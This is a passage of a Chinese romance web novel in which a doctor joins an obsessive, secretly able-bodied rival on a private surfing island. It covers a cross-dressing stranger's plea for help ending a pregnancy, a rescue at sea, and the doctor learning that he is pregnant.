郁瑟本来想提醒他一下,自己是有恋人的, 少做有的没的。 不过转念一想,还有不少能用到慕酌月的地方,暂且先不惹怒对方,屡走屡观察着来。 郁瑟伸手拉开车门,笑容依旧道,“恐怕要让慕先生失望了,只能看到一个被工作折磨到身心疲惫的样子。” 慕酌月似乎更喜欢他这种劲劲儿的回复,“郁医生所言多少是掺了水分的,我只看到一个醉心于工作的工作狂,哪里会出现疲倦不堪的时候?” 郁瑟发现不能再与对方继续下去,否则被人瞧见了,完全像是调情似的,避免有不必要的误会,所以话题又重新转移回来。 “慕先生在工作时间叫我出来,不该是只为了跟我打嘴仗吧?” 慕酌月道,“不是,我是想邀请你参加社交活动。” 郁瑟转头准备打开车门下去,被慕酌月修长的手臂抢先一步,摁住了他的手指。 郁瑟这才发觉慕酌月的肩膀很宽阔,拢住他的时候暗自蕴藏着力量,足够将他的骨头捏碎。 慕酌月的唇息已经几乎贴近耳垂的位置,低声磁性道,“我约你肯定是因为剧情的问题,假如郁医生整天只忙着过两点一线的生活,剧情怎么可能主动来找你呢?生活不就是需要一点刺激,一点未知,才能激起人的兴趣吗?” “而且,你不要再乱动了,为了不立刻能拥抱你,我已经尽力避免跟你有更多的肢体接触了。懂吗?” 郁瑟微微侧眸打量,确实如此。 慕酌月只有手摁住了他,手臂、胸膛,包括嘴唇和呼吸,都尽力控制在不令他感到厌烦的距离。 大概有0.5厘米吧。 郁瑟并不是很感激他的绅士风度,若不是心里一直存有某种疑惑,大抵上已经反手将某人推开了。 郁瑟道,“好吧,徐泾镇的事情上,你获得了我的信任,所以,我觉得接下来的事情上,慕先生应该不至于把这份信任彻底击碎吧?” 慕酌月近距离地观察着郁瑟的嘴唇,在他用尽词汇来描述这张嘴唇的时候,只富于了它柔软、饱满,吸吮之后会变成性感的肉红色的性感特质。 倒没料想,这张嘴还犀利、镇定,开合之间总能把人的心尖儿戳得更痒更软,恨不得时时刻刻含住蹂躏。 真是一个有趣的替身。 慕酌月收回手臂,换回了原本的从容,言道,“肯定会令郁医生不虚此行的。” 郁瑟暗说:那就擦亮眼睛,看看你还能有什么隐藏款没有爆出来。 结果这一走走了很长的距离。 先是搭乘车到了小型私人飞机场,换乘飞机之后,郁瑟禁不住吐了一回。 他已经很久没有突然因为什么,而感到突如其来的反胃了。 以至于不形于色的慕酌月都有点慌张,反复询问了他三次:是不是没有休息好?是不是食物不够新鲜?或者是晕机了? 郁瑟仔细漱了口,将嘴里的酸腐味清理干净,才回答他说,“为什么突然搭乘飞机?总不是想给我拐到什么岛屿,卖给食人族之类的吧?” 慕酌月愣了一下,哈哈大笑说,“郁医生,你知道自己这种可爱的地方,十分犯规吗?” 郁瑟不理睬他。 慕酌月反倒偷偷地用眼神描摹着郁瑟的面孔。 真正的郁医生也是这副模样,虽然长得算不上顶级的漂亮,但也如同兰芝一般清淡雅致,尤其微微带着愠怒的时候,总是紧抿住嘴巴,倒不是为了克制,而是为了在下一秒讲出令对方哑口无言的话来。 一切的一切,都跟真的郁瑟一模一样。 慕酌月不禁开始玩弄起自己的右手骨节,很长时间不用这双手在键盘间写字,反而不会有任何生疏的感觉,只会觉得还有些痒痒的。 ——我真是一个天才。 慕酌月不禁将眼前的郁瑟与现实中的郁瑟相提并论,感觉两者完美地融合为一。 ——我耗尽心血所描写的这个人,就是郁瑟,我的郁瑟 不。 慕酌月稍微停顿了一下手指,瑟瑟马上就是我一个人的了。 经过半个多小时的航程,飞机终于降落在一座私人岛屿上,从空中观察,这座岛的位置应该距离龙城不算远。 而且岛上的人也不少。 这一点令郁瑟大感放心,起码不是只有他和慕酌月的二人岛屿。 慕酌月道,“这座岛是冲浪运动爱好者的聚集地,而且是会员制的,年收益不够1个亿的,基本上连这座岛的存在都不可能知晓。” 也对。 郁瑟低语,像我这种年收入连零头都没有的,确实没有资格知道这座岛的名字。 慕酌月像是猜透他的念头,轻嗤一声,“怎么?枫音尘家大业大的,都没有好好地带你出门散心?” 郁瑟道,“不是,我是在思考——慕先生居然是冲浪爱好者。” 他的眼神隐藏着小小的冒犯,更令慕酌月喜欢道,“不,你其实是在心里想,难道我要驾驶着轮椅冲进海里?” 郁瑟真的是不打算笑出声的,没办法,没想到自己的演技居然也会有穿帮的时候。 慕酌月竟也不觉得顶撞,而是有条不理地解释道,“我这智能轮椅的车轮很宽,压在沙地间也不会有太大的问题,而且我随身还带着不少保镖,这些人不会白拿工资不做事的。” 郁瑟正要接他的话,结果一个抱着很多行李的人,跌跌撞撞地冲过来。 “小心!” 根本不等郁瑟反应,慕酌月已经出手拉人,将郁瑟直接拉进怀里坐着。 而那个抱着一堆行李的人则因为视野问题,兜兜转转地摔了一跤,手中的行李散落一地。 郁瑟没想到慕酌月会突然有这么大的动作,整个人坐进轮椅大佬的怀中,鼻尖萦绕着的是慕酌月身上淡淡的古龙水味道。 他愣了愣,随即脸颊上泛起一抹不易察觉的红晕。 慕酌月似乎也意识到了这个动作的暧昧,轻咳一声,松开了手,“抱歉,情急之下,郁医生你应该不会多心的吧?” 郁瑟迅速起身,“没事,是我该谢谢你才对。” 说着,他蹲下身去,帮着那人捡拾散落的行李。 结果行李的中央,是一个清瘦的秀气男人,看起来因为自己的失误,而显得唯唯诺诺的。 郁瑟跟他说,没关系。 那个男人看起来过分老实,以至于面红耳赤说,“没有撞到你就好,这些东西还是我自己来收拾。” 郁瑟原本就是热心肠,一边说不碍事,双手完全空闲不下来,直到他从一个行李箱露出来的一角,扯出来一条暴露的红色镂空睡裙。 郁瑟:“” 老实男人的脸完全烧得通红,像是被火烤过一般,手忙脚乱地去抢那条睡裙,“这、这个不能给你看!” 郁瑟尴尬地笑了笑,赶紧将睡裙塞回行李箱里,“抱歉,我不是故意的。” 男人抱起自己的行李,连声道谢后匆匆离开,仿佛再多待一秒都会羞愧致死。 郁瑟:“可能是女朋友的。” 慕酌月则笑道,“那他的脸就不该那么红。” 郁瑟:“你好像很懂的样子。” 慕酌月:“也不尽然。” 最主要是他写得狗血比较多,什么类型的狗血情侣都已经写到腻歪了。 看来郁医生还是很单纯的,连女装癖这种特殊的性.癖爱好也不懂。 真是纯洁到可爱死了! 第88章 第 88 章 撩汉赛道 海岛虽然远离大陆, 但是其独特的自然风光吸引着无数富豪们前来探索。 金色的沙滩、碧蓝的海水、摇曳的椰林,构成了一幅幅如诗如画的景致包括这里的住宿设施也是极为奢华。 为了满足顶级会员们的需求,从海景别墅到水上屋, 每一处都充满了浪漫与惬意。 水上屋更是别具一格, 建在清澈的海水上,透过房间的窗户就能欣赏到五彩斑斓的海底世界,仿佛置身于童话般的仙境。 慕酌月和郁瑟的客房便定在了价格昂贵的水上屋内, 透过剔透的玻璃窗, 将外面的海滩一览无遗。 十几个善于冲浪的人,已经抱着冲浪板, 往海水深的位置游去。 郁瑟的意思是, 并不打算在这里度夜。 慕酌月却知道他的担心,不禁笑道, “私人飞机只能三天来一趟往返, 若是每小时、每分钟都有陌生的人能在这座岛上出现,岂不是跟菜市场一般廉价?” 郁瑟并不想打断他所谓高人一等的论调,然而是他自己决定要跟着一起来的, 作为成年人, 首先更要对自己的言行负责。 “那岛上总没有限制与外界的通讯渠道吧?”郁瑟转身回到属于自己的客房。 因为所有的水上屋之间有一部分是透明的,所以郁瑟即使回到屋子,也能看见慕酌月操纵着轮椅,透过玻璃墙沉沉地凝视着他的身影。 郁瑟单手拉住二人之间的窗帘, 给枫音尘拨去个电话。 枫音尘以为他是想叫自己晚上接人下班, 正有点摩拳擦掌的意思。 郁瑟却说, “抱歉,我出了一趟外诊,可能三天之后才能回家。” 已经打扮得美艳无双, 车钥匙都捏在手里的枫公主:“哈?” 郁瑟绝对是能想象出他此刻的表情有多夸张,连声着,“抱歉,确实是临时决定的。” 郁瑟无奈地思考,他总不能告诉枫音尘,自己其实是为了奇怪的好奇欲而买单吧? 枫音尘在电话那头深吸了一口气,似乎是在平复自己的情绪,“那我晚上要自己一个人睡了吗?” 郁瑟哭笑不得,“行行行,一个月的晚餐,我给你做。” 枫音尘并不是很在意晚餐的问题,他只在意他的瑟瑟现在哪里,尤其跟什么样的人待在一起?! 枫公主还想撒娇再套出点话来,郁瑟这边已经说再见了。 夜幕降临,海岛上灯火阑珊,海浪轻轻推送着蕴凉的夜风。 郁瑟穿着海岛棉制作的白衬衣,牛仔裤,一身随性装扮前往沙滩。 沙滩间的狂欢早已经响彻云霄。 不再是冲浪的天气,但是小岛的特殊地理位置使得涌来的海浪充斥着适宜的温暖,所以被称作“冲浪爱好者”最后的天堂。 但在郁医生看来,这个天堂满满地堆砌着金钱的味道。 金钱使得一切享乐变为可能。 远处的篝火通明灼热,似乎将半边天都要烧穿了。 郁瑟慢悠悠地在海边散步,空气中淡淡的海盐咸味与夜晚的凉爽交织在一起,让人感到格外惬意。 他沿着海岸线缓缓前行,脚下的细沙轻柔地按摩着脚底,忽然被一阵蚊子般的细弱哭泣声给拉住了注意了。 其实在众人欢乐的夜晚中,四处洋溢着欢笑,其实很难发现哭声。 郁瑟捕捉到了,而且,他还沿着这嘤嘤的哭声,从海滩慢慢地绕进了树丛。 树丛中,月光斑驳地洒在地面上,为这静谧的夜晚增添了几分神秘。郁瑟小心翼翼地走着,尽量不发出声音,以免惊扰到那哭泣的人。哭声似乎更加清晰了,带着一种难以言喻的悲伤,让人心生怜悯。 他穿过低矮的灌木丛,终于看到了那个蜷缩在角落里的身影。 那是一个纤细的女人,头发凌乱,脸上满是泪痕。她的肩膀一抖一抖的,显然在极力抑制着自己的哭泣声。 郁瑟举起双手轻轻地走近,蹲下身子,温柔地问道:“我觉得没有任何恶意,我是医生,请问需要帮忙吗?” 女人抬起头,泪眼婆娑地看着他,似乎有些戒备。 但是在看清郁瑟的瞬间,女人立刻不哭了。 郁瑟也微微呆住。 因为这个女人十分的面熟,即使脸上早已经被眼线模糊成几道黑线,连眼睫毛都快哭掉了。 但是,郁瑟还是一眼认出。 这个女人正是下午那个行李洒落一地的清瘦男人。 此刻这男人完全以女装示人,披散着最时髦的法式波浪长卷发,一身剪彩合度的吊带裙,将腰身恰得比例恰到好处,脚上还蹬着一双厚底细带凉鞋,与下午那个冒失又害羞的感觉毫不相像。 郁瑟心中一阵惊讶,但面上不显,假装夜黑树深,完全不认识对方似的,伸出手道,“这座岛的治安不知道究竟怎么样,不过女孩子一个人在外面并不安全,来吧,我送你回去房间。” 说着,伸出手准备拉住对方一把。 结果那个男扮女装的男人完全不领情,也似乎是同时认出了郁瑟,连声道,“不不不我不需要” 慌张地说完后,爬起来转身就跑,完全不是受伤的因素,更没有扭到脚的意思,一双厚底凉鞋比女孩子穿得还灵活,踩在沙地间稳如平沙飞雁。 郁瑟:“我被嫌弃了吗?” 嘴角一弯笑了笑,哪知才迈开脚,立刻被脚底的乳胶状物体绊了一下。 捡起来一看,原来是可以塞在胸口的乳胶假胸。 看情况,起码有C罩杯,难怪感觉刚才那小子跑得飞快。 原来是卸装备了嘛。 郁瑟作为一个弯弯的男人,总不好将这假胸拿在手里,但是作为环保人士,也不好直接扔在沙滩地,或者丢进海里。 所以,他拿着这副软乎乎、晃悠悠的东西,找了最近的垃圾箱塞了进去。 恰好有个可爱的小女生,同时往垃圾箱里塞饮料瓶子,看见郁瑟塞得东西时,宛若遭逢外星人般瞪大眼睛。 郁瑟则纹丝不乱,假装自言自语道,“大半夜的,居然捡到个水母,也不知道有毒没毒。” 那个女孩大约也没看清楚,只觉得是个半透明的软体,立刻换成笑脸问,“水母?哪里能捡到?” 郁瑟随手一指,“那边海滩。” 只听女孩朝不远处的椰子树下喊道,“亲爱的,这边的海滩有水母?!你快带我去看看!” 郁瑟已经顺利转身,掏出消毒湿巾认真地擦拭每一根手指。 直到遇见驾驶智能轮椅出门寻他的慕酌月。 郁瑟将手插进兜问,“慕先生也是出来吹风?” 慕酌月笑了,“不是,我是专程约你去游泳。” 郁瑟:“!!!!” 郁瑟:你想跟轮椅共沉亡?! 慕酌月看出他的内心潜台词似的,笑着驾驶轮椅往前靠了又靠。 “这里可是寸土寸金的冲浪圣地,这里的海面因为暖流的存在,到了夜间会发出莹亮的蓝光,难道郁医生不想去试一试?” 郁瑟有点摸不准他的想法了。 不过,既然对方说得如此有意思,去看一眼也是没有问题的。 而且 他难道还会害怕一个坐轮椅的半残人士? 两人一边轻声闲聊,一边走去了所谓的发光海滩,为了避开其他人的骚扰,所以走得距离稍微远了些。 果然,当两人抵达海滩偏僻的一角时,眼前的景象让郁瑟瞬间屏息。 海面在夜色的笼罩下,仿佛被撒上了一层神秘的蓝色荧光粉,波光粼粼,美不胜收,海浪轻轻拍打着沙滩,每一次触碰都似乎在释放着柔和而神秘的光芒。 慕酌月操控着轮椅缓缓前行,脸上洋溢着喜悦,“看,我没有骗你吧?这里的夜晚,美得如同童话世界。” 郁瑟不得不承认,眼前的景色确实令人震撼,不禁点点头,心中那份对未知的警惕渐渐被这份美景所冲淡,“确实,很美。” 郁瑟在牛仔裤里面穿了游泳裤,想的是晚上临睡前到游泳池运动两圈。 所以,当他脱掉衣裤的瞬间,慕酌月的目光便黏在他微微凸起的腹部。 说不上是嘲讽,但绝对不是冲郁瑟说的,“某些人宠爱的方法是不是很有问题?” 郁瑟假装没有听到,一脚深一脚浅地走进海水里,展开双臂在莹亮的蓝光中畅游起来。 慕酌月的目光完全离不开海中那一抹被荧光笼罩的身影。 太美了,真的是太美了。 郁瑟仿佛与这片蓝色的荧光海洋融为一体,每一个动作都流畅而优雅,如同海洋中的精灵。 慕酌月不禁看得痴了。 这就是他梦寐以求的画面。 蓝天,碧海,他爱的人。 和他自己。 那一刻,慕酌月仿佛陷入了小说的创作里,只想沉浸在这份美丽和宁静之中。 然而,美好的时光总是短暂的。 当郁瑟从海中游回岸边,慕酌月再次将目光聚焦在郁瑟的腹部。 他看着郁瑟,眼神中闪烁着复杂的情绪,“郁医生,你……真的。” 慕酌月的话到嘴边,像是强行将这句话压抑下去,换了另一句来分散郁瑟的注意力。 “郁医生的生活方式,看起来挺健康,手脚匀称修长。” 除了肚子。 郁瑟并没有注意到的是,对方眼神里隐藏的复杂一闪而逝。 郁瑟反而不知怎么突然回忆起,枫音尘明显开始撩拨他,便是从萧君耀与枫知乐的婚礼上开始。 当时,枫音尘还耍诡计,骗他在海里把内裤脱掉,跟着自己在海里贴身裸.泳。 现在看来,这个慕酌月也挺喜欢把他约进海里面,再偷偷欣赏他的身体。 怎么? 海是你们撩汉的专用赛道啊? 第89章 第 89 章 求助 水里的感觉很好, 很舒适,可是郁瑟已经决定立刻出水了。 沙滩边的夜风开始转凉,加上这片海面的蓝光也在渐渐消退, 委实不是久留之地。 于是, 郁瑟缓缓地从水中站起,水珠沿着细腻的肌肤滑落,在月光的照耀下闪烁着晶莹的光芒。 慕酌月的目光努力保持着礼貌, 沉吟半晌, 最终选择再次试探,道, “郁医生, 你确信自己不需要做一次身体检查?” 郁瑟轻轻一笑,似乎对慕酌月的凝视并不感到意外, “我的身体我自己清楚, 在医生的面前建议医生,恐怕要算是地狱级笑话了。” 慕酌月哦了一声,言道, “但是, 郁医生应该算是妇产科界的冉冉之星吧?” 郁瑟算不算冉冉之星不好讲,不过慕酌月绝对是一个善于故弄玄虚的对手。 郁瑟单手将白衬衣披在肩膀,因为游泳裤是湿漉漉的,所以牛仔裤提在手里, 从衬衫底下露出一双不肥不瘦、比例匀称的长腿, 在月光的映衬下显得格外引人注目。 慕酌月的话题不好围绕着郁瑟的腹部进行, 避免对方起疑,只能假装换了话题,继续道, “看见郁医生你这样步履轻盈,我这副坐轮椅样子,突然觉得真是羡慕极了。” 作为合作关系,郁瑟不会理睬这句话的内涵,作为医生,郁瑟依旧用专业性的语言回答道,“所以,慕先生还是应该将关注力多放在身体健康上,依照现有的医疗条件,国外针对你这种从植物人状态苏醒的案例,应该会有更好地治疗方案。” 这句话算是最顺耳的了。 其实慕酌月也是这样打算的,可是他不想自己一个人孤零零的出国。 他想带着郁瑟一起走,远离龙城的所有杂乱剧情线,同时也远离枫音尘的周围。 慕酌月深深觉得,郁瑟和枫音尘这两个角色,他在设计时下得羁绊太深,宛若两颗天然磁铁,越是靠近越容易吸附住彼此。 假如 制造出两人间的裂痕,并且无限制地扩大 他总能将郁瑟带走的,只是时间问题。 慕酌月说,“可是从另一个角度来分析,我也希望你能开心。” 推着郁瑟在可控的剧情里穿梭 令某人逐渐被掌控剧情的能力反噬,一步一步成为他的忠实崇拜者,而远离枫音尘。 正如卫星会被质量更大的行星抢走。 慕酌月陪着郁瑟返回客房,两人在各自门口互相道了别,郁瑟赶紧将身上的海水冲洗干净,准备给枫音尘发个平安短信,便准备睡了。 枫音尘那边绝对是彻夜难眠,一瞧见瑟瑟的平安短信之后,完全属于蜜蜂见到了蜂糖,黏糊糊地抛过来几个可怜兮兮的小黑蛇表情包。 郁瑟:不要用伊尔曼,来试图唤醒的我负罪感。 枫音尘:没有啊,我只是今天试着给伊尔曼拍了几张随手照,再用APP加工了一下,没想到做出来的成品还挺可爱的。 【小黑蛇伪装成冰激凌.jpg】 【小黑蛇摇尾巴求饶.jpg】 【小黑蛇的舌头和尾巴做出两个桃心.jpg】 郁瑟看了挺喜欢,顺手将十几个表情包全部收藏起来。 他这边全部是手写输入,而枫音尘则是语音留言。 郁瑟总感觉他的声音哝哝的,不禁也发了语音问,【哪里不舒服吗?】 枫音尘像是故意引诱他说点什么,立刻发来一截视频。 画面中的枫音尘裹着一条羽绒被,被子的缝隙中露出伊尔曼的蛇头。 郁瑟:【真得感冒了啊?】 【没有,】枫音尘说,【体温突然降得好厉害,好像感觉自己快没有体温了,不过没事,裹条羽绒被大概能抵抗一阵。】 郁瑟:【多喝点热水。】 枫音尘:【好,我听老公的话,马上去喝。】 郁瑟等了他一阵子,又问,【喝了吗?】 枫音尘那边骤然没了动静,五六分钟过去,郁瑟都昏昏欲睡了,也完全没有等到对方的回音。 郁瑟立刻开始担心,还发了七八个长长的语音,毕竟都被叫老公了,心疼一下对方是再正常不过的。 突然“噗通!”一声,将屋内的安静打碎,也惊得郁瑟立刻警觉起来。 他不得不放下手机,起身朝发声的位置,试探问道,“谁?!” 然而回应他的只有死寂,郁瑟的心脏开始微微跃动,再次喊道,“有人吗?是谁在那里?” 四周静悄悄的,连窗外偶尔传来的海浪声,都仿佛被隔绝在外。 郁瑟咽了口唾沫,鼓起勇气,一步步走向声音的来源。 客厅的落地窗前挂着一袭厚重的窗帘,那“噗通”一声似乎就是从窗帘后传来的。 郁瑟从不信什么牛鬼蛇神,一把拉开了窗帘,却只见窗外天海深沉,哪有什么人影。 心中疑惑更甚,正欲转身,突然脚下一软,似乎踩到了什么软绵绵的东西。 他低头一看,竟然是一条长长的床单,被撕得成了手掌宽的布条,一根根连接在一起。 郁瑟沿着布条一步步走过去,一把拉开厚重的窗帘。 里面躲着个身材纤细的女人,正用小心翼翼的大眼睛,在张望着他。 掀开窗帘后,可以看出一道玻璃门已经拉开了一条缝隙。 正是这个女人出现的原因。 不对,是男人,是男扮女装的、活脱脱的大男人一枚。 他正带着一点尴尬式苦笑,手里还拿着半截没来得及藏好的床单布条,显然是想从这道缝隙里溜进来,却被郁瑟撞了个正着。 郁瑟瞧他也不是那种失魂落魄的样子,顶多有点精神不济,于是打算开个玩笑来缓解气氛。 “牛郎拣走了织女的羽衣,那你找我是因为我拣走了你的假胸垫吗?” 这话倒是没有什么能令人发笑的华点,不过使得郁瑟看起来分外好相处,也确实缓解了对方的紧张情绪。 对方先是一愣,随即脸上浮起一抹尴尬的红晕,却也忍不住缓和了神色。 他放下手中的布条,双手合十,眼中闪烁着恳求的光芒。 “郁先生,今天真的是很不好意思,几次三番打扰了你。” 郁瑟以为他打算要开始道歉了——为自己的鲁莽作风。 结果对方话锋一转道,“你说过的,你是医生,对吗?” “我现在,特别需要医生的帮助。” “我怀孕了,但是我根本不想要这个孩子,可是……因为一些原因,我完全没有办法,你能不能帮助我!” 第90章 第 90 章 你怀孕了 他的声音中带着一丝急切与无助, 双手紧紧地绞在一起,眼神中满是恳求。 迎头给了郁瑟一个暴击。 郁瑟深吸一口气,试图平复对方激动的情绪, 轻声问道:“你先别急, 告诉我具体是什么情况,我先看能不能找到解决的办法。” 最不可思议的事。 郁瑟思忖:对方是属于男性怀孕,居然毫不避讳就冲过来找人了, 假如像林梁宇这样的男性孕夫, 多少会藏着掖着。 看来确实是被逼急了。 郁瑟思考之间,已经将人细细打量几个轮回。 对方表面看起来尚算正常, 实际上眉眼之间早已经丝毫隐藏不住的瑟缩, 那是一种深深的恐惧与不安交织的神情,仿佛正被无形的巨网紧紧束缚, 无法逃脱。 即使面前的人是一个兽医, 恐怕对方也会抱着死一死的决心,求过来吧。 郁瑟心中不禁生出几分同情,这样的情境, 任谁遇到都会感到棘手与为难。 可是 郁瑟也有自己的一套处事原则, 那便是他不擅自做流产手术。 这是他的最大缺点,更是他能继续留在手术台间,而没有选择专业的一个底线。 尽管他能够理解对方的焦急与无助,但在没有充分了解情况, 并确保手术安全与合法性的前提下, 郁瑟不能轻易跨越这条界限。 所以缓缓开口解释:“我理解你的处境, 也很想帮你,但我必须先明确一点,我绝不会擅自进行流产手术。这是关乎生命的大事, 我们需要找到更专业、更合适的医疗机构来处理。” 对方的神色瞬间黯淡下去,眼中的光芒仿佛被一盆冷水浇灭。 郁瑟看在眼里,心中也不免泛起一阵犹豫,但他知道,这个时候更不能心软,必须坚守原则,同时也要为对方指明方向:“不过,我可以帮你联系一些专业的医院或诊所,他们有更专业的设备和医生,能够给你提供更全面的帮助。你放心,我会尽我所能,帮助你度过这个难关。” 郁瑟伸出手,想要将男人从地面拉起来,却被对方反手拍开。 那个男人像个失落的怨灵般缓缓起立,虽然不是在对着郁瑟发火的意思,不过因为强烈的失落感而造成语气的不善。 “我真傻,其实只要就可以解决的,为什么要来找你们这些冷漠的家伙帮忙。” 而后,将肩膀侧滑落的肩带重新拉回,头也不回地朝着原路返回,每一步都显得异常沉重,仿佛背负着巨大而压抑的负担。 郁瑟望着他渐行渐远的背影,心中五味杂陈。 他想喊住对方,再劝一劝,却也知道,这个时候,任何话语都显得苍白无力。 毕竟这件事情的考量范畴非常多,不能因为一时的心软,而做出遗憾终身的事情。 第二天,慕酌月早早地邀请着郁瑟去看冲浪盛况。 据说是每到这个季度,岛上的特殊地理位置,都会有很高的浪出现,这时候就会出现一批冲浪高手,他们来自世界各地,带着对海浪的无限热爱与敬畏,聚集在这片神秘的海域。 不过听进郁瑟的耳中,倒也立刻明白,这些人除了是高手之外,更是家财万贯的富豪。 郁瑟不由问道,“那你的轮椅,适合靠近松软的海滩边沿吗?” 慕酌月道,“我们自然不会去海滩,而是搭乘快艇在最靠近海浪的位置欣赏。” 他倒是贴心地问了一句,“之前见你晕飞机,不知道,你晕船吗?” 郁瑟愣了愣,随即摇了摇头,“那倒没有。” 其实他内心戏很足地玩笑了一句:难道我两条腿的,还比不过你两个车轮子的? 慕酌月闻言,露出一抹笑容,“那就好。毕竟冲浪盛况虽好,但要是因此而晕船,那可就得不偿失了。” 慕酌月显然对冲浪有着浓厚的兴趣,说起相关的话题,总是比起寻常更加善谈,郁瑟虽然不太了解,但也被他的喜好所感染。 随后,慕酌月安排两人登上一条快艇,这条快艇比想象的要大很多,马力强劲,并不是寻常的观光船只。 两人一上船立刻穿上救生衣,包括慕酌月的轮椅也安装好了固定器,快艇才缓缓驶向了海浪堆叠的地方。 郁瑟站在船头,望着前方不断翻滚的海浪,心中既兴奋又有些忐忑。慕酌月则坐在特制的轮椅上,神情专注地望着前方,似乎完全沉浸在了即将到来的冲浪体验中。 快艇在海浪中穿梭,时而跃起,时而俯冲,让人心跳加速,热血沸腾。浪来了!冲浪的人们也来了! 只见冲浪的人身着紧身战衣,脚踏冲浪板,迎着汹涌的波涛,犹如英勇的骑士,与大自然进行着一场场惊心动魄的较量。 郁瑟突然被这份对极限的追求与热爱深深打动,不知怎么,一个浪涌掀起了快艇,将他整个人高高抛起,又猛猛地摔落 晕眩叫他很快泛起来了阵阵恶心。 一旁的慕酌月不由在风浪之间喊道,“怎么样?是不是很不舒服?那我们返航吧!” 郁瑟似乎是不想叫他把自己给看扁了,也大喊道,“没事,一点小风小浪而已!不碍事!” 其实很碍事。 郁瑟跟枫音尘也一起搭乘过游艇出海,其实脚底的起伏感略强烈些而已,不知怎么会晕头转向地犯恶心。 郁瑟准备强撑一会儿。 哪知有人喊着,“看,大浪来了!” 只见碧海蓝天之间涌起一道水墙似的高浪,浪头之高大,仿佛要将整个快艇吞噬一般。 郁瑟只觉眼前一黑,紧接着一股无法抗拒的力量将他紧紧包裹,快艇在海浪的巨力下剧烈颠簸,几乎要翻覆过来。 他拼尽全力抓住扶手,试图稳住身形,但海浪的威力远超他的想象,每一次撞击都让他感到心脏似乎要跳出胸膛。 而在如此极端的冲击下,有一个身穿火红色冲浪服的男人,勇敢地滑向了大浪,在众目睽睽之下,如同一条火龙般穿梭在波涛汹涌的海浪之间。 他的动作敏捷而有力,每一次划水都似乎在与海浪进行着激烈的较量。 周围的人都看得目瞪口呆,他们从未见过如此勇敢且技艺高超的冲浪者。在大家的惊呼声中,男人已经成功地立在冲浪板间,像一只灵巧的鸽子,在海浪间展开自由的翅膀。 立在高潮之上时,顿得又狠狠地从冲浪板间跃了下去,如同一块预备俱焚的顽石,不要命地砸进了浪卷之中。 在其他人眼中,恐怕是不小心的失足,然而郁瑟所站得快艇靠得较近,一切看起来又诡异极了。 那个冲浪手很快被海水吞没,即使手腕与冲浪板间拴着脚绳,也没有能立刻爬回掀翻的冲浪板间。 看起来很像是即将溺亡一般。 郁瑟穿着救生衣,几乎是一个健步后翻身,像是一头敏捷的海豹跃入了汹涌的波涛中。 他不停地奋力划水,朝着那个陷入危机的冲浪者游去,救生衣虽然为他提供了一定的浮力,但在如此汹涌的海浪中,前行异常艰难。 可能是之前的颠簸叫他难受,在海中游泳片刻之后,一阵强烈的眩晕感袭上眼前,郁医生强行睁了睁眼,奈何毫无用处。 反倒叫他更加头晕目眩,四周的景象开始模糊,海浪的轰鸣声也变得遥远而混沌,人也像是吸饱了水分的海绵,沉甸甸、软绵绵的无力。 昏黑。 一阵昏黑感快速袭击了他的眼帘,郁瑟手脚像是被大海夺取了力量,一丝丝地变得脆弱又疲倦。 完了。 郁瑟即将昏厥之前,心中闪过了无数个念头,却都无法阻止身体逐渐沉沦的趋势。 海水的咸湿味充斥着他的鼻腔,每一次呼吸都像是在消耗他的生命力。 直到,快艇上又有一个矫健的身影跃下船来,快速地向他的方向游来。 越来越近。 郁瑟越来越昏沉。 直到晕厥之前,他看见了游来救他的人,居然是慕酌月。 他的身上穿着同款救生衣,但是完全像是不怎么需要似的,一把扯住快要从海浪冲走的郁瑟,喊着,“你坚持住!!” 为什么?! 郁瑟陷入昏迷之后,一直在思考这个奇怪的问题。 为什么慕酌月能游泳?!难道说,他一直是在骗我! 郁瑟怀揣着这个念头,在昏迷时还不断地咀嚼着这个疑惑,仿佛这是唯一支撑他在黑暗中坚持下去的力量。 他的意识在模糊与清醒之间开始徘徊,每一次即将沉入深渊时,都会被慕酌月的声音拉回现实。 “瑟瑟,醒醒!你不能睡!” 慕酌月的呼喊声在他耳边回荡,带着不容置疑的坚决。 直到郁瑟在朦胧中感受到了一股温暖的力量,才缓缓地睁开眼睛。 迎入眼帘的是医院的护士,正在帮助他调整输液的速度。 郁瑟眨了眨眼,环顾四周,发现自己已经躺在医院的病床上,白色的床单,消毒水的味道,一切都那么熟悉又陌生。 慕酌月坐在床边,单手拿着笔电审批文件,眉头微微皱着,似乎在不悦着什么。 郁瑟试图坐起身,但身体的虚弱让他只能微微动弹。 护士见状,连忙上前扶住他,轻声说道:“你先别动,身体还很虚弱。你已经昏迷了一天一夜了,幸好有人及时把你救了上来,不然可就危险了。” 郁瑟点了点头,目光再次落在慕酌月身上。 沙哑着嗓子问,“你怎么回事?!” 确实,慕酌月现在并不是坐着轮椅,而是神态自若地坐在VIP沙发中央,同样放下手中的工作,用一种几乎残酷的眼神打量着他。 冷冷说道,“还先问我?你怀孕了,自己又知道吗?” 90-100 第91章 第 91 章 巧合中的巧合 郁瑟听了之后居然毫无反应, 而是以被欺骗之后的愤懑,挑眉问道,“你的腿为什么是好的?!” 慕酌月大抵上也怀着相同的愤懑, 音色沉郁宛若枯井内重新注满了水, 带着几分压抑不住的沙哑,恨不能将体检报告丢出去,“你真的真的怀孕了, 自己知道吗?!” 这一次, 郁瑟才像是真正得听清了对方的话意,蓦得怔住几分钟后, 第一反应是去摸自己的手机。 慕酌月完全看得出他这个动作, 是为了快速将这个消息告诉枫音尘的样子。 直接气笑道,“你觉得自己为了救人, 勇敢地跳进海之后, 手机还能保持干燥?” 也对。 可是!! “你现在身体虚弱,若是不想肚子里的孩子出事,最好先躺下。” 慕酌月看似平静地将他正在输液的手稍微挪动了一下, 言道, “正输液着呢,先不要乱动,你自己就是医生,应该知道要遵循医生的叮嘱, 注意卧床休息吧?” “已经拿着你的手机号去办理新手机了, 差不多输完液的时间, 我的秘书就能拿回来。” “到时候,你再跟枫音尘报平安,也不迟。” 慕酌月像是根本没有解释自己的腿的义务, 替郁瑟盖好了被子,镇定自若地从病房内走出来。 等在门口的都是他的人,两个私人秘书也守在门口,根本没有所谓的秘书去帮忙置办新手机。 慕酌月从屋内走出的瞬间,可以瞧出他的脸色在背影处变得阴沉至极,完全不像是在郁瑟的面前时,那么阳光和煦。 “没想到这个孩子还挺经折腾的,跳进海里都没折腾掉了。” 慕酌月喃喃自语的样子,在背影处更是披上一层诡异的阴翳,让周围人皆是不由自主地打了个寒颤。 “老板,现在该怎么办?”其中一个秘书小心翼翼地上前问道。 慕酌月没有立即回答,而是沉默地站了片刻,像是在思考着什么重大的决策。 